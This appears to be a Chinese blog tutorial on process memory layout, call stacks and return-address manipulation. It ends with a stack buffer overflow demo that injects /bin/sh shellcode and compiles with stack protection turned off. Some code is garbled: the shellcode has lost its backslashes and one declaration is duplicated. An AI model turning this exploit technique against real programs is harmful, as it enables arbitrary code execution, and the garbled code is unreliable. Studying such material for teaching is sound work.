• 函数调用栈与缓冲区溢出


    进程空间分配

    每一个进程都有自己的一个进程堆栈空间。在Linux界面执行一个执行码时,Shell进程会fork一个子进程,再调用exec系统调用在子进程中执行该执行码。exec系统调用执行新程序时会把命令行参数和环境变量表传递给main函数,它们在整个进程堆栈空间中的位置如下图所示。
    在这里插入图片描述
    注意:stack区是高地址->低地址,heap区相反。

    • heap区:程序执行时,按照程序需要动态分配的内存空间。malloc、calloc、realloc。如正在处理的数据,编辑的文档。
    • stack区:存放程序执行时局部变量、函数调用信息、中断现场保留信息。进程中的不同线程可以共享代码段和数据段,但是都有自己的stack。CPU堆栈段指针会在栈顶根据执行情况进行上下移动。
    • bss段:未初始化数据段,如未初始化的全局变量、全局静态变量、局部静态变量,程序执行前操作系统将此段初始化为0。
    • data区:已初始化的全局变量、全局静态变量、局部静态变量
    • code区:可执行文件和库

    一个经典的例子

    int a = 0; //全局初始化区
    int a = 0; //全局初始化区
    char *p1; //全局未初始化区
    main() {
        int b; //栈
        char s[] = "abc"; //栈
        char *p2; //栈
        char *p3 = "123456"; //123456在常量区,p3在栈上。
        static int c = 0; //全局(静态)初始化区
        p1 = (char *)malloc(10);
        p2 = (char *)malloc(20);
        //分配得来得10和20字节的区域就在堆区。
        strcpy(p1, "123456"); //123456放在常量区,编译器可能会将它与p3所指向的"123456"优化成一个地方。
    }
    

    参考:
    https://blog.csdn.net/yingms/article/details/53188974

    函数调用和返回地址

    如何查看程序的汇编代码?
    linux系统中使用dump -j ret
    汇编中的寄存器

    • 指令指针 eip,自增1,计算机会沿着eip的方向顺序执行
    • 函数栈的栈底和栈顶,ebp、esp(32位OS),rbp、rsp(64位OS)

    当发生函数调用时,汇编语言里使用call命令,产生两个效果:

    • esp减4字节,将返回地址(调用指令的下一条指令的地址)压入esp。函数返回时,返回地址都会从堆栈中弹出。
    • 跳转到被调用的函数栈,具体操作是eip指向被调用函数的stack

    这个过程中,esp是这样变化的,首先,call引起返回地址入栈,esp从0xbffff320变为0xbffff31c;然后,eip入栈,esp从0xbffff31c变为0xbffff318。然后ebp指向esp,获得当前的esp的值。在接下来,esp减小0x10,成为0xbffff308。function函数也获得了一定的栈空间。

    调用栈变化如图
    在这里插入图片描述
    下面举例分析

    void function(int a,int b, int c){
            int *ret;
            ret = &a - 1;
            (*ret)+= 7;
    }
    
    void main(){
            int x;
            x = 0;
            function(1,2,3);
            x = 1;
            printf("x is %d
    ",x);
    }
    

    32位系统中,function的参数abc存放在main的调用栈中。
    调用function的返回地址:x=1指令在调用栈中的地址。
    地址空间一般用十六进制表示,+1、-1的单位是字节。
    ret = &a - 1 得到返回地址的存放地址。优于ret时int型指针。所以 -1表示 -4字节,在十六进制地址上表示 - 0x4。
    *ret + 7 改变返回地址。即x=1指令的地址 + 0x7 (十六进制),x=1这条指令正好占7个字节,越过x=1,直接printf。
    所以运行结果是x is 0。

    64位系统中

    void function(unsigned long a, unsigned long b, unsigned long c){
            unsigned long * ret;
            ret = &a + 4; // + 4*8字节  , 即 + 0x20
            //也可以写成下面这种形式
            //ret = (unsigned long *)((char *)&a + 32);
            (*ret) += 7;
    }
    void main(){
            int x;
            x = 0;
            function(1,2,3);
            x = 1;
            printf("x is %d
    ",x);
    }
    

    返回地址不变。
    64位系统中,通过寄存器把main中的实参传递到function调用栈的形参abc中。
    ret=&a + 4,取得返回地址的地址。
    *ret = 7 ,将返回地址指向printf。

    缓冲区溢出攻击

    利用shellcode演示缓冲区溢出。
    shellcode是程序代码的汇编形式,存在字符串中,可以被调用执行,但是不能执行堆栈区的代码,所以可以放在数据区。

    //这段shellcode的作用是打开一个新的shell覆盖当前shell
    char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";
    char large_string[256];
    void main() {
            char buffer[96];
            int i;
            unsigned long *long_ptr = (unsigned long *) large_string;
            /*使用buffer首地址填充large_string*/
            for (i = 0; i < 32; i++)
                    *(long_ptr + i) = (unsigned long) buffer; 
           /*将shellcode拷贝进large string,这样largestring的起始部分是shellcode,后边全是buffer的地址*/
            for (i = 0; i < strlen(shellcode); i++)
                    large_string[i] = shellcode[i];
             /*使用strcpy,保证buffer首地址就是shellode的起始*,并且通过溢出将调用main的返回地址覆盖位buffer的地址*/
            strcpy(buffer,large_string);
    }
    

    main函数也是被调用的,它的栈底下面也紧挨着存放了一个返回地址。
    如果将这个返回地址变成shellcode的地址,那么就可以执行shellcode。
    如何改变返回地址呢?
    方法是缓冲区溢出。如用strcpy将字符串a[100]拷贝到buffer[10],由于strcpy不执行长度校验,所以它会把超出buffer的长度直接
    拷贝覆盖到buffer的后面。利用这一点可以对调用main时的返回地址重定向。

    注意:编译时,关闭栈溢出保护

     gcc overflow.c -fno-stack-protector -o overflow
    

    否则会出现如下错误
    在这里插入图片描述

    参考:
    https://zhuanlan.zhihu.com/p/62742596
    https://zhuanlan.zhihu.com/p/62471331

  • 相关阅读:
    The Road to Ryu: Hi Ryu
    Python学习札记(三十五) 面向对象编程 Object Oriented Program 6
    Python学习札记(三十四) 面向对象编程 Object Oriented Program 5
    Python学习札记(三十三) 面向对象编程 Object Oriented Program 4
    Python学习札记(三十二) 面向对象编程 Object Oriented Program 3
    Coursera SDN M1.2.1 SDN History: Programmable Networks 2
    Python学习札记(三十一) 面向对象编程 Object Oriented Program 2
    Python学习札记(三十) 面向对象编程 Object Oriented Program 1
    Coursera SDN M1.2.1 SDN History: Programmable Networks 1
    Python学习札记(二十九) 模块2
  • 原文地址:https://www.cnblogs.com/chzhyang/p/11359934.html
Copyright © 2020-2023  润新知